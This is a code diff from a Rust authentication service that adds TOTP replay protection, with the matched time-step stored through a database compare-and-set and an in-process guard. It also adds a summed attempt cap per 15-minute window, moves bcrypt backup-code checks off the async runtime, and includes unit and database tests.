| 447 | + for i in 0..8 { | |
| 448 | + rl.check_sliding_window_capped(&format!("k{i}"), 2, window, 8) | |
| 449 | + .unwrap(); | |
| 450 | + } | |
| 451 | + rl.check_sliding_window_capped("k0", 2, window, 8) | |
| 452 | + .expect("existing key at cap must keep its bucket"); | |
| 453 | + assert_eq!(rl.sliding_len(), 8); | |
| 454 | + } | |
| 455 | + | |
| 456 | + #[test] | |
| 457 | + fn evict_fixed_if_full_drops_oldest_window_start() { | |
| 458 | + let now = Instant::now(); | |
| 459 | + let mut buckets = HashMap::new(); | |
| 460 | + for i in 0..8u64 { | |
| 461 | + buckets.insert( | |
| 462 | + format!("k{i}"), | |
| 463 | + WindowCounter { | |
| 464 | + count: 1, | |
| 465 | + window_start: now + Duration::from_millis(i), | |
| 466 | + }, | |
| 467 | + ); | |
| 468 | + } | |
| 469 | + evict_fixed_if_full(&mut buckets, 8); | |
| 470 | + assert_eq!(buckets.len(), 7); | |
| 471 | + assert!(!buckets.contains_key("k0")); | |
| 472 | + buckets.insert( | |
| 473 | + "k8".into(), | |
| 474 | + WindowCounter { | |
| 475 | + count: 1, | |
| 476 | + window_start: now, | |
| 477 | + }, | |
| 478 | + ); | |
| 479 | + assert!(buckets.contains_key("k8")); | |
| 480 | + assert!(buckets.len() <= 8); | |
| 481 | + } | |
| 482 | + | |
| 483 | + #[test] | |
| 484 | + fn fixed_window_evicts_instead_of_rejecting_new_key() { | |
| 485 | + let rl = RateLimitService::new(); | |
| 486 | + let window = Duration::from_secs(60); | |
| 487 | + for i in 0..8 { | |
| 488 | + rl.check_window_capped(&format!("k{i}"), 10, window, 8) | |
| 489 | + .unwrap(); | |
| 490 | + } | |
| 491 | + assert_eq!(rl.len(), 8); | |
| 492 | + rl.check_window_capped("k8", 10, window, 8) | |
| 493 | + .expect("new key must be admitted via eviction"); | |
| 494 | + assert!(rl.len() <= 8); | |
| 495 | + } | |
| 317 | 496 | } |
M
crates/rustwarden-core/src/services/resource_service.rs
+1
-1
@@ -541,7 +541,7 @@ mod tests {
| 541 | 541 | .unwrap(); |
| 542 | 542 | UserService::create_user( |
| 543 | 543 | db, |
| 544 | - format!("res_test_{}", &unique[..12]), | |
| 544 | + format!("res-test-{}", &unique[..12]), | |
| 545 | 545 | format!("res_test_{}@example.com", &unique[..12]), |
| 546 | 546 | hash, |
| 547 | 547 | false, |
M
crates/rustwarden-core/src/services/team_service.rs
+1
-1
@@ -342,7 +342,7 @@ mod tests {
| 342 | 342 | .unwrap(); |
| 343 | 343 | UserService::create_user( |
| 344 | 344 | db, |
| 345 | - format!("team_test_{}", &unique[..12]), | |
| 345 | + format!("team-test-{}", &unique[..12]), | |
| 346 | 346 | format!("team_test_{}@example.com", &unique[..12]), |
| 347 | 347 | hash, |
| 348 | 348 | false, |
M
crates/rustwarden-core/src/services/totp_service.rs
+556
-31
@@ -3,8 +3,16 @@
| 3 | 3 | //! Provides methods for generating, verifying, and managing TOTP 2FA |
| 4 | 4 | //! including backup codes and login challenge flow. |
| 5 | 5 | |
| 6 | +use std::collections::HashMap; | |
| 7 | +use std::sync::{Mutex, OnceLock}; | |
| 8 | +use std::time::Instant; | |
| 9 | + | |
| 6 | 10 | use chrono::{Duration, Utc}; |
| 7 | -use sea_orm::{ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, QueryFilter, Set}; | |
| 11 | +use sea_orm::sea_query::Expr; | |
| 12 | +use sea_orm::{ | |
| 13 | + ActiveModelTrait, ColumnTrait, Condition, DatabaseConnection, EntityTrait, NotSet, QueryFilter, | |
| 14 | + Set, | |
| 15 | +}; | |
| 8 | 16 | use totp_rs::{Algorithm, Secret, TOTP}; |
| 9 | 17 | use uuid::Uuid; |
| 10 | 18 |
@@ -16,6 +24,102 @@ const BACKUP_CODE_COUNT: usize = 10;
| 16 | 24 | const BACKUP_CODE_LENGTH: usize = 8; |
| 17 | 25 | const CHALLENGE_EXPIRY_MINUTES: i64 = 5; |
| 18 | 26 | const MAX_CHALLENGE_ATTEMPTS: i32 = 5; |
| 27 | +/// Cap of *summed* challenge attempts per user over 15 minutes. | |
| 28 | +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15; | |
| 29 | +const REPLAY_GUARD_TTL_SECS: u64 = 90; | |
| 30 | + | |
| 31 | +/// Returns true when the summed challenge attempts reach [`MAX_ATTEMPTS_PER_WINDOW`]. | |
| 32 | +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool { | |
| 33 | + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW | |
| 34 | +} | |
| 35 | + | |
| 36 | +/// Returns the matching TOTP time-step (`unix_time / 30`) if `code` is valid | |
| 37 | +/// for the current step or skew ±1. | |
| 38 | +pub(crate) fn matching_totp_step(secret_base32: &str, code: &str) -> Option<u64> { | |
| 39 | + let secret = Secret::Encoded(secret_base32.to_string()); | |
| 40 | + let totp = TOTP::new( | |
| 41 | + Algorithm::SHA1, | |
| 42 | + 6, | |
| 43 | + 1, | |
| 44 | + 30, | |
| 45 | + secret.to_bytes().ok()?, | |
| 46 | + None, | |
| 47 | + String::new(), | |
| 48 | + ) | |
| 49 | + .ok()?; | |
| 50 | + | |
| 51 | + // `check` accounts for skew ±1 and compares with constant_time_eq. | |
| 52 | + // Identify the matching window only after that reject path. | |
| 53 | + let now = Utc::now().timestamp().max(0) as u64; | |
| 54 | + if !totp.check(code, now) { | |
| 55 | + return None; | |
| 56 | + } | |
| 57 | + for delta in [-1_i64, 0, 1] { | |
| 58 | + let Some(step) = (now / 30).checked_add_signed(delta) else { | |
| 59 | + continue; | |
| 60 | + }; | |
| 61 | + if totp.generate(step * 30) == code { | |
| 62 | + return Some(step); | |
| 63 | + } | |
| 64 | + } | |
| 65 | + None | |
| 66 | +} | |
| 67 | + | |
| 68 | +/// Accepts a `(user_id, step)` pair once per 90s in-process window. | |
| 69 | +/// | |
| 70 | +/// Returns `false` when the same step was already accepted (replay). | |
| 71 | +pub(crate) fn totp_replay_guard_accept(user_id: Uuid, step: u64) -> bool { | |
| 72 | + static CACHE: OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>> = OnceLock::new(); | |
| 73 | + let mut cache = CACHE | |
| 74 | + .get_or_init(|| Mutex::new(HashMap::new())) | |
| 75 | + .lock() | |
| 76 | + .unwrap_or_else(|e| e.into_inner()); | |
| 77 | + | |
| 78 | + let ttl = std::time::Duration::from_secs(REPLAY_GUARD_TTL_SECS); | |
| 79 | + cache.retain(|_, instant| instant.elapsed() < ttl); | |
| 80 | + | |
| 81 | + let key = (user_id, step); | |
| 82 | + if cache.contains_key(&key) { | |
| 83 | + return false; | |
| 84 | + } | |
| 85 | + | |
| 86 | + cache.insert(key, Instant::now()); | |
| 87 | + true | |
| 88 | +} | |
| 89 | + | |
| 90 | +/// Finds the first bcrypt-matching backup-code hash index off the async runtime. | |
| 91 | +/// | |
| 92 | +/// Short-circuits on the first match: the index is not a secret (the attacker | |
| 93 | +/// already knows the plaintext code they submitted). Join errors become | |
| 94 | +/// [`AppError::Internal`]. A bcrypt verification failure is a non-match. | |
| 95 | +async fn find_matching_backup_index( | |
| 96 | + code: String, | |
| 97 | + hashed_codes: Vec<String>, | |
| 98 | +) -> Result<Option<usize>, AppError> { | |
| 99 | + tokio::task::spawn_blocking(move || { | |
| 100 | + let mut found = None; | |
| 101 | + for (i, hashed) in hashed_codes.iter().enumerate() { | |
| 102 | + if bcrypt::verify(&code, hashed).unwrap_or(false) { | |
| 103 | + found = Some(i); | |
| 104 | + break; // allowed: index is not a secret; attacker knows their code | |
| 105 | + } | |
| 106 | + } | |
| 107 | + found | |
| 108 | + }) | |
| 109 | + .await | |
| 110 | + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}"))) | |
| 111 | +} | |
| 112 | + | |
| 113 | +/// Verifies a plaintext backup code against a single bcrypt hash off the async runtime. | |
| 114 | +/// | |
| 115 | +/// Join errors from the blocking thread pool become [`AppError::Internal`]. | |
| 116 | +/// A bcrypt verification failure is treated as a non-match (`false`). | |
| 117 | +#[cfg(test)] | |
| 118 | +pub(crate) async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> { | |
| 119 | + Ok(find_matching_backup_index(code, vec![hashed]) | |
| 120 | + .await? | |
| 121 | + .is_some()) | |
| 122 | +} | |
| 19 | 123 | |
| 20 | 124 | /// Response from TOTP setup containing data needed to display QR code |
| 21 | 125 | pub struct TotpSetupResponse { |
@@ -93,6 +197,7 @@ impl TotpService {
| 93 | 197 | backup_codes_encrypted: Set(None), |
| 94 | 198 | backup_codes_remaining: Set(0), |
| 95 | 199 | enabled_at: Set(None), |
| 200 | + last_used_step: NotSet, | |
| 96 | 201 | created_at: Set(now), |
| 97 | 202 | updated_at: Set(now), |
| 98 | 203 | }; |
@@ -108,6 +213,11 @@ impl TotpService {
| 108 | 213 | /// Verify a TOTP code during setup and enable 2FA. |
| 109 | 214 | /// |
| 110 | 215 | /// On success, generates backup codes and returns them as plaintext (one-time display). |
| 216 | + /// | |
| 217 | + /// The matched time-step is consumed via the persistent anti-replay | |
| 218 | + /// guard (RFC 0037) **before** 2FA is enabled, so the setup code cannot | |
| 219 | + /// be replayed as an immediate login on any replica. A replayed or | |
| 220 | + /// invalid code fails with [`AppError::TotpFailed`] (no replay oracle). | |
| 111 | 221 | pub async fn verify_and_enable( |
| 112 | 222 | db: &DatabaseConnection, |
| 113 | 223 | user_id: Uuid, |
@@ -123,9 +233,16 @@ impl TotpService {
| 123 | 233 | return Err(AppError::TotpAlreadyEnabled); |
| 124 | 234 | } |
| 125 | 235 | |
| 126 | - // Decrypt secret and verify code | |
| 236 | + // Decrypt secret and identify the matching step (RFC 0037: store the | |
| 237 | + // step that actually matched, never `now / 30`). | |
| 127 | 238 | let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?; |
| 128 | - if !Self::verify_totp_code(&secret_base32, code)? { | |
| 239 | + let Some(step) = matching_totp_step(&secret_base32, code) else { | |
| 240 | + return Err(AppError::TotpFailed); | |
| 241 | + }; | |
| 242 | + | |
| 243 | + // Consume the step before enabling 2FA: the setup code cannot serve | |
| 244 | + // as an immediate login on another replica (RFC 0037). | |
| 245 | + if !Self::claim_totp_step(db, user_id, step).await? { | |
| 129 | 246 | return Err(AppError::TotpFailed); |
| 130 | 247 | } |
| 131 | 248 |
@@ -146,6 +263,13 @@ impl TotpService {
| 146 | 263 | } |
| 147 | 264 | |
| 148 | 265 | /// Verify a TOTP code for an enabled user (login flow). |
| 266 | + /// | |
| 267 | + /// A valid code is accepted **once**: the matched time-step is persisted | |
| 268 | + /// in `user_totp.last_used_step` through a conditional compare-and-set | |
| 269 | + /// `UPDATE` (RFC 0037), so a replayed code — on this replica or any | |
| 270 | + /// other — returns `Ok(false)`, indistinguishable from an invalid code | |
| 271 | + /// (no replay oracle). Database errors are propagated as [`AppError`]; | |
| 272 | + /// the guard never fails open. | |
| 149 | 273 | pub async fn verify_code( |
| 150 | 274 | db: &DatabaseConnection, |
| 151 | 275 | user_id: Uuid, |
@@ -159,7 +283,21 @@ impl TotpService {
| 159 | 283 | .ok_or_else(|| AppError::TotpNotEnabled)?; |
| 160 | 284 | |
| 161 | 285 | let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?; |
| 162 | - Self::verify_totp_code(&secret_base32, code) | |
| 286 | + let Some(step) = matching_totp_step(&secret_base32, code) else { | |
| 287 | + return Ok(false); | |
| 288 | + }; | |
| 289 | + // Authoritative cross-replica guard: consume the matched step in DB. | |
| 290 | + if !Self::claim_totp_step(db, user_id, step).await? { | |
| 291 | + return Ok(false); | |
| 292 | + } | |
| 293 | + // In-process guard kept as defense-in-depth (arbitrated decision, | |
| 294 | + // RFC 0037): practically unreachable after a won CAS and fails | |
| 295 | + // closed if it ever disagrees. The DB compare-and-set above remains | |
| 296 | + // authoritative. | |
| 297 | + if !totp_replay_guard_accept(user_id, step) { | |
| 298 | + return Ok(false); | |
| 299 | + } | |
| 300 | + Ok(true) | |
| 163 | 301 | } |
| 164 | 302 | |
| 165 | 303 | /// Verify and consume a backup code. |
@@ -187,14 +325,9 @@ impl TotpService {
| 187 | 325 | let mut hashed_codes: Vec<String> = serde_json::from_str(&codes_json) |
| 188 | 326 | .map_err(|e| AppError::Internal(format!("Failed to parse backup codes: {}", e)))?; |
| 189 | 327 | |
| 190 | - // Find matching code | |
| 191 | - let mut found_index = None; | |
| 192 | - for (i, hashed) in hashed_codes.iter().enumerate() { | |
| 193 | - if bcrypt::verify(code, hashed).unwrap_or(false) { | |
| 194 | - found_index = Some(i); | |
| 195 | - break; | |
| 196 | - } | |
| 197 | - } | |
| 328 | + // bcrypt::verify is CPU-bound; run the scan off the async runtime. | |
| 329 | + let found_index = | |
| 330 | + find_matching_backup_index(code.to_string(), hashed_codes.clone()).await?; | |
| 198 | 331 | |
| 199 | 332 | let Some(index) = found_index else { |
| 200 | 333 | return Ok(false); |
@@ -286,16 +419,16 @@ impl TotpService {
| 286 | 419 | db: &DatabaseConnection, |
| 287 | 420 | user_id: Uuid, |
| 288 | 421 | ) -> Result<String, AppError> { |
| 289 | - // Check for too many recent failed challenges (anti-brute-force) | |
| 422 | + // Summed attempt cap across all challenges in the last 15 minutes (E-3). | |
| 290 | 423 | let recent_cutoff = Utc::now() - Duration::minutes(15); |
| 291 | - let recent_failed = totp_challenge::Entity::find() | |
| 424 | + let recent = totp_challenge::Entity::find() | |
| 292 | 425 | .filter(totp_challenge::Column::UserId.eq(user_id)) |
| 293 | 426 | .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff)) |
| 294 | - .filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS)) | |
| 295 | 427 | .all(db) |
| 296 | 428 | .await?; |
| 297 | 429 | |
| 298 | - if recent_failed.len() >= 3 { | |
| 430 | + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) { | |
| 431 | + tracing::warn!(%user_id, "TOTP global attempt cap reached"); | |
| 299 | 432 | return Err(AppError::TotpMaxAttemptsExceeded); |
| 300 | 433 | } |
| 301 | 434 |
@@ -391,23 +524,48 @@ impl TotpService {
| 391 | 524 | |
| 392 | 525 | // --- Internal helpers --- |
| 393 | 526 | |
| 527 | + /// Atomically consume TOTP time-step `step` for `user_id` (RFC 0037). | |
| 528 | + /// | |
| 529 | + /// Runs a conditional `UPDATE` (compare-and-set) that only succeeds when | |
| 530 | + /// `last_used_step` is `NULL` or **strictly** lower than `step`, so the | |
| 531 | + /// same step can never be consumed twice — even across replicas. | |
| 532 | + /// Returns `Ok(true)` iff this caller won the CAS | |
| 533 | + /// (`rows_affected == 1`). A step that does not fit in `i64` is treated | |
| 534 | + /// as an invalid code (`Ok(false)`); database errors are propagated | |
| 535 | + /// (never fail-open). | |
| 536 | + async fn claim_totp_step( | |
| 537 | + db: &DatabaseConnection, | |
| 538 | + user_id: Uuid, | |
| 539 | + step: u64, | |
| 540 | + ) -> Result<bool, AppError> { | |
| 541 | + // Unreachable for realistic clocks (a unix_time / 30 step fits in | |
| 542 | + // i64 for centuries); treat overflow as an invalid code, no panic. | |
| 543 | + let Ok(step_i64) = i64::try_from(step) else { | |
| 544 | + return Ok(false); | |
| 545 | + }; | |
| 546 | + | |
| 547 | + let result = user_totp::Entity::update_many() | |
| 548 | + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64)) | |
| 549 | + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now())) | |
| 550 | + .filter(user_totp::Column::UserId.eq(user_id)) | |
| 551 | + .filter( | |
| 552 | + Condition::any() | |
| 553 | + .add(user_totp::Column::LastUsedStep.is_null()) | |
| 554 | + .add(user_totp::Column::LastUsedStep.lt(step_i64)), | |
| 555 | + ) | |
| 556 | + .exec(db) | |
| 557 | + .await?; | |
| 558 | + | |
| 559 | + Ok(result.rows_affected == 1) | |
| 560 | + } | |
| 561 | + | |
| 394 | 562 | /// Verify a TOTP code against a base32-encoded secret. |
| 563 | + /// | |
| 564 | + /// Test-only shim over [`matching_totp_step`]: production paths need the | |
| 565 | + /// matched step itself to feed the persistent anti-replay guard. | |
| 566 | + #[cfg(test)] | |
| 395 | 567 | fn verify_totp_code(secret_base32: &str, code: &str) -> Result<bool, AppError> { |
| 396 | - let secret = Secret::Encoded(secret_base32.to_string()); | |
| 397 | - let totp = TOTP::new( | |
| 398 | - Algorithm::SHA1, | |
| 399 | - 6, | |
| 400 | - 1, | |
| 401 | - 30, | |
| 402 | - secret | |
| 403 | - .to_bytes() | |
| 404 | - .map_err(|e| AppError::Internal(format!("Failed to decode TOTP secret: {}", e)))?, | |
| 405 | - None, | |
| 406 | - String::new(), | |
| 407 | - ) | |
| 408 | - .map_err(|e| AppError::Internal(format!("Failed to create TOTP: {}", e)))?; | |
| 409 | - | |
| 410 | - Ok(totp.check_current(code).unwrap_or(false)) | |
| 568 | + Ok(matching_totp_step(secret_base32, code).is_some()) | |
| 411 | 569 | } |
| 412 | 570 | |
| 413 | 571 | /// Generate backup codes: returns (plaintext_codes, encrypted_json_of_hashed_codes). |
@@ -514,6 +672,64 @@ mod tests {
| 514 | 672 | } |
| 515 | 673 | } |
| 516 | 674 | |
| 675 | + #[test] | |
| 676 | + fn four_challenges_of_four_attempts_are_blocked() { | |
| 677 | + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16 | |
| 678 | + } | |
| 679 | + | |
| 680 | + #[test] | |
| 681 | + fn fourteen_attempts_still_allowed() { | |
| 682 | + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14 | |
| 683 | + } | |
| 684 | + | |
| 685 | + #[test] | |
| 686 | + fn fifteen_attempts_are_blocked() { | |
| 687 | + assert!(totp_window_exceeded([4, 4, 4, 3].into_iter())); // 15 | |
| 688 | + } | |
| 689 | + | |
| 690 | + #[test] | |
| 691 | + fn same_step_replay_is_rejected() { | |
| 692 | + // Dedicated id so parallel tests cannot collide on Uuid::nil(). | |
| 693 | + let uid = Uuid::from_u128(0x0707_051E_01A7_u128); | |
| 694 | + assert!(totp_replay_guard_accept(uid, 42)); | |
| 695 | + assert!(!totp_replay_guard_accept(uid, 42)); | |
| 696 | + assert!(totp_replay_guard_accept(uid, 43)); | |
| 697 | + } | |
| 698 | + | |
| 699 | + #[test] | |
| 700 | + fn matching_totp_step_accepts_current_and_previous_windows() { | |
| 701 | + let secret = Secret::generate_secret(); | |
| 702 | + let secret_base32 = secret.to_encoded().to_string(); | |
| 703 | + let totp = TOTP::new( | |
| 704 | + Algorithm::SHA1, | |
| 705 | + 6, | |
| 706 | + 1, | |
| 707 | + 30, | |
| 708 | + secret.to_bytes().unwrap(), | |
| 709 | + None, | |
| 710 | + String::new(), | |
| 711 | + ) | |
| 712 | + .unwrap(); | |
| 713 | + | |
| 714 | + let now = Utc::now().timestamp().max(0) as u64; | |
| 715 | + let current_step = now / 30; | |
| 716 | + let current_code = totp.generate(current_step * 30); | |
| 717 | + assert_eq!( | |
| 718 | + matching_totp_step(&secret_base32, ¤t_code), | |
| 719 | + Some(current_step) | |
| 720 | + ); | |
| 721 | + | |
| 722 | + if current_step > 0 && totp.ttl().unwrap_or(0) > 1 { | |
| 723 | + let previous_code = totp.generate((current_step - 1) * 30); | |
| 724 | + assert_eq!( | |
| 725 | + matching_totp_step(&secret_base32, &previous_code), | |
| 726 | + Some(current_step - 1) | |
| 727 | + ); | |
| 728 | + } | |
| 729 | + | |
| 730 | + assert_eq!(matching_totp_step(&secret_base32, "1"), None); | |
| 731 | + } | |
| 732 | + | |
| 517 | 733 | /// Asserts each generated backup code is unique. |
| 518 | 734 | /// |
| 519 | 735 | /// Same rationale as `test_generate_backup_codes`: the test reads |
@@ -537,4 +753,313 @@ mod tests {
| 537 | 753 | assert!(unique.insert(code.clone()), "Backup codes should be unique"); |
| 538 | 754 | } |
| 539 | 755 | } |
| 756 | + | |
| 757 | + #[tokio::test] | |
| 758 | + async fn verify_one_backup_matches_known_hash_and_rejects_mismatch() { | |
| 759 | + let hashed = bcrypt::hash("ABCD2345", 4).expect("hash backup code"); | |
| 760 | + | |
| 761 | + assert!( | |
| 762 | + verify_one_backup("ABCD2345".to_string(), hashed.clone()) | |
| 763 | + .await | |
| 764 | + .expect("spawn_blocking join"), | |
| 765 | + "matching backup code should verify" | |
| 766 | + ); | |
| 767 | + assert!( | |
| 768 | + !verify_one_backup("ZZZZ9999".to_string(), hashed) | |
| 769 | + .await | |
| 770 | + .expect("spawn_blocking join"), | |
| 771 | + "mismatched backup code should not verify" | |
| 772 | + ); | |
| 773 | + } | |
| 774 | + | |
| 775 | + // ── RFC 0037: persistent anti-replay (`last_used_step`) DB tests ─────── | |
| 776 | + // | |
| 777 | + // These tests require DATABASE_URL (dev PostgreSQL) with the | |
| 778 | + // `m20260918_000010_totp_last_used_step` migration applied. They only | |
| 779 | + // delete rows they created themselves. | |
| 780 | + | |
| 781 | + use crate::models::user; | |
| 782 | + use crate::services::user_service::UserService; | |
| 783 | + | |
| 784 | + async fn test_db() -> DatabaseConnection { | |
| 785 | + dotenvy::dotenv().ok(); | |
| 786 | + let url = | |
| 787 | + std::env::var("DATABASE_URL").expect("DATABASE_URL required for totp_service DB tests"); | |
| 788 | + sea_orm::Database::connect(&url) | |
| 789 | + .await | |
| 790 | + .expect("connect test DB") | |
| 791 | + } | |
| 792 | + | |
| 793 | + /// Sets the fixed test encryption key used by every crypto-touching test. | |
| 794 | + fn set_test_encryption_key() { | |
| 795 | + // SAFETY: callers are serialised by `#[serial(encryption_key)]`; no | |
| 796 | + // other test touches ENCRYPTION_KEY while this block runs. | |
| 797 | + unsafe { | |
| 798 | + std::env::set_var( | |
| 799 | + "ENCRYPTION_KEY", | |
| 800 | + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", | |
| 801 | + ); | |
| 802 | + } | |
| 803 | + } | |
| 804 | + | |
| 805 | + /// Creates a fresh user plus a `user_totp` row and returns the | |
| 806 | + /// plaintext base32 secret. Rows belong to this test only. | |
| 807 | + async fn create_totp_user(db: &DatabaseConnection, enabled: bool) -> (user::Model, String) { | |
| 808 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 809 | + let user = UserService::create_user( | |
| 810 | + db, | |
| 811 | + format!("t37-{}", &unique[..12]), | |
| 812 | + format!("t37-{}@example.com", &unique[..12]), | |
| 813 | + "not-a-real-hash".to_string(), | |
| 814 | + false, | |
| 815 | + ) | |
| 816 | + .await | |
| 817 | + .expect("create test user"); | |
| 818 | + | |
| 819 | + let secret = Secret::generate_secret(); | |
| 820 | + let secret_base32 = secret.to_encoded().to_string(); | |
| 821 | + let encrypted = CryptoService::encrypt(&secret_base32).expect("encrypt test secret"); | |
| 822 | + let now = Utc::now(); | |
| 823 | + user_totp::ActiveModel { | |
| 824 | + id: Set(Uuid::new_v4()), | |
| 825 | + user_id: Set(user.id), | |
| 826 | + secret_encrypted: Set(encrypted), | |
| 827 | + enabled: Set(enabled), | |
| 828 | + backup_codes_encrypted: Set(None), | |
| 829 | + backup_codes_remaining: Set(0), | |
| 830 | + enabled_at: Set(enabled.then_some(now)), | |
| 831 | + last_used_step: NotSet, | |
| 832 | + created_at: Set(now), | |
| 833 | + updated_at: Set(now), | |
| 834 | + } | |
| 835 | + .insert(db) | |
| 836 | + .await | |
| 837 | + .expect("insert test user_totp row"); | |
| 838 | + | |
| 839 | + (user, secret_base32) | |
| 840 | + } | |
| 841 | + | |
| 842 | + /// Deletes only the rows created by the calling test (its `user_totp` | |
| 843 | + /// row, then the user itself). | |
| 844 | + async fn cleanup_totp_user(db: &DatabaseConnection, user: user::Model) { | |
| 845 | + if let Some(row) = user_totp::Entity::find() | |
| 846 | + .filter(user_totp::Column::UserId.eq(user.id)) | |
| 847 | + .one(db) | |
| 848 | + .await | |
| 849 | + .expect("load test user_totp row for cleanup") | |
| 850 | + { | |
| 851 | + let model: user_totp::ActiveModel = row.into(); | |
| 852 | + model.delete(db).await.expect("delete test user_totp row"); | |
| 853 | + } | |
| 854 | + let model: user::ActiveModel = user.into(); | |
| 855 | + model.delete(db).await.expect("delete test user"); | |
| 856 | + } | |
| 857 | + | |
| 858 | + /// Generates the current 6-digit code for a base32 secret. | |
| 859 | + fn current_code(secret_base32: &str) -> String { | |
| 860 | + let secret = Secret::Encoded(secret_base32.to_string()); | |
| 861 | + let totp = TOTP::new( | |
| 862 | + Algorithm::SHA1, | |
| 863 | + 6, | |
| 864 | + 1, | |
| 865 | + 30, | |
| 866 | + secret.to_bytes().expect("decode test secret"), | |
| 867 | + None, | |
| 868 | + String::new(), | |
| 869 | + ) | |
| 870 | + .expect("build test TOTP"); | |
| 871 | + totp.generate_current().expect("generate current code") | |
| 872 | + } | |
| 873 | + | |
| 874 | + /// RFC 0037 — error case 1: malformed codes never touch the database. | |
| 875 | + #[tokio::test] | |
| 876 | + #[serial_test::serial(encryption_key)] | |
| 877 | + async fn verify_code_invalid_code_writes_nothing() { | |
| 878 | + let db = test_db().await; | |
| 879 | + set_test_encryption_key(); | |
| 880 | + let (user, _secret) = create_totp_user(&db, true).await; | |
| 881 | + | |
| 882 | + assert!( | |
| 883 | + !TotpService::verify_code(&db, user.id, "1") | |
| 884 | + .await | |
| 885 | + .expect("verify '1'"), | |
| 886 | + "'1' must be rejected" | |
| 887 | + ); | |
| 888 | + assert!( | |
| 889 | + !TotpService::verify_code(&db, user.id, "12345") | |
| 890 | + .await | |
| 891 | + .expect("verify 5 digits"), | |
| 892 | + "5-digit code must be rejected" | |
| 893 | + ); | |
| 894 | + let row = TotpService::get_totp_info(&db, user.id) | |
| 895 | + .await | |
| 896 | + .expect("reload row") | |
| 897 | + .expect("row exists"); | |
| 898 | + assert_eq!( | |
| 899 | + row.last_used_step, None, | |
| 900 | + "invalid codes must not write last_used_step" | |
| 901 | + ); | |
| 902 | + | |
| 903 | + cleanup_totp_user(&db, user).await; | |
| 904 | + } | |
| 905 | + | |
| 906 | + /// RFC 0037 — happy path + error case 2: first code accepted and persisted, | |
| 907 | + /// same code replayed → `Ok(false)` with `last_used_step` unchanged. | |
| 908 | + #[tokio::test] | |
| 909 | + #[serial_test::serial(encryption_key)] | |
| 910 | + async fn verify_code_persists_matched_step_and_rejects_replay() { | |
| 911 | + let db = test_db().await; | |
| 912 | + set_test_encryption_key(); | |
| 913 | + let (user, secret_base32) = create_totp_user(&db, true).await; | |
| 914 | + | |
| 915 | + let code = current_code(&secret_base32); | |
| 916 | + let expected_step = | |
| 917 | + matching_totp_step(&secret_base32, &code).expect("generated code must match a step"); | |
| 918 | + | |
| 919 | + assert!( | |
| 920 | + TotpService::verify_code(&db, user.id, &code) | |
| 921 | + .await | |
| 922 | + .expect("first verify"), | |
| 923 | + "first presentation of a valid code must be accepted" | |
| 924 | + ); | |
| 925 | + let row = TotpService::get_totp_info(&db, user.id) | |
| 926 | + .await | |
| 927 | + .expect("reload row") | |
| 928 | + .expect("row exists"); | |
| 929 | + assert_eq!( | |
| 930 | + row.last_used_step, | |
| 931 | + Some(i64::try_from(expected_step).expect("step fits in i64")), | |
| 932 | + "the matched step (not now/30) must be persisted" | |
| 933 | + ); | |
| 934 | + | |
| 935 | + assert!( | |
| 936 | + !TotpService::verify_code(&db, user.id, &code) | |
| 937 | + .await | |
| 938 | + .expect("replay verify"), | |
| 939 | + "replaying the same code must be rejected" | |
| 940 | + ); | |
| 941 | + let row_after = TotpService::get_totp_info(&db, user.id) | |
| 942 | + .await | |
| 943 | + .expect("reload row") | |
| 944 | + .expect("row exists"); | |
| 945 | + assert_eq!( | |
| 946 | + row_after.last_used_step, row.last_used_step, | |
| 947 | + "a rejected replay must not change last_used_step" | |
| 948 | + ); | |
| 949 | + | |
| 950 | + cleanup_totp_user(&db, user).await; | |
| 951 | + } | |
| 952 | + | |
| 953 | + /// RFC 0037 — concurrency: two concurrent claims of the same | |
| 954 | + /// `(user, step)` — exactly one wins the CAS. Also covers error case 3: | |
| 955 | + /// an older step can no longer be claimed afterwards (strict `<`). | |
| 956 | + #[tokio::test] | |
| 957 | + #[serial_test::serial(encryption_key)] | |
| 958 | + async fn concurrent_claims_exactly_one_wins() { | |
| 959 | + let db = test_db().await; | |
| 960 | + set_test_encryption_key(); | |
| 961 | + let (user, _secret) = create_totp_user(&db, true).await; | |
| 962 | + | |
| 963 | + let step: u64 = 61_234_567; | |
| 964 | + let (a, b) = tokio::join!( | |
| 965 | + TotpService::claim_totp_step(&db, user.id, step), | |
| 966 | + TotpService::claim_totp_step(&db, user.id, step), | |
| 967 | + ); | |
| 968 | + let (a, b) = (a.expect("claim a"), b.expect("claim b")); | |
| 969 | + assert!( | |
| 970 | + a ^ b, | |
| 971 | + "exactly one concurrent claim must win the CAS (a={a}, b={b})" | |
| 972 | + ); | |
| 973 | + | |
| 974 | + // Same step again → replay, strict `<` rejects it. | |
| 975 | + assert!( | |
| 976 | + !TotpService::claim_totp_step(&db, user.id, step) | |
| 977 | + .await | |
| 978 | + .expect("replay claim"), | |
| 979 | + "re-claiming the same step must fail" | |
| 980 | + ); | |
| 981 | + // Older window (error case 3) → rejected too. | |
| 982 | + assert!( | |
| 983 | + !TotpService::claim_totp_step(&db, user.id, step - 1) | |
| 984 | + .await | |
| 985 | + .expect("older claim"), | |
| 986 | + "claiming an older step must fail" | |
| 987 | + ); | |
| 988 | + // Newer window still passes. | |
| 989 | + assert!( | |
| 990 | + TotpService::claim_totp_step(&db, user.id, step + 1) | |
| 991 | + .await | |
| 992 | + .expect("newer claim"), | |
| 993 | + "claiming a strictly newer step must succeed" | |
| 994 | + ); | |
| 995 | + | |
| 996 | + cleanup_totp_user(&db, user).await; | |
| 997 | + } | |
| 998 | + | |
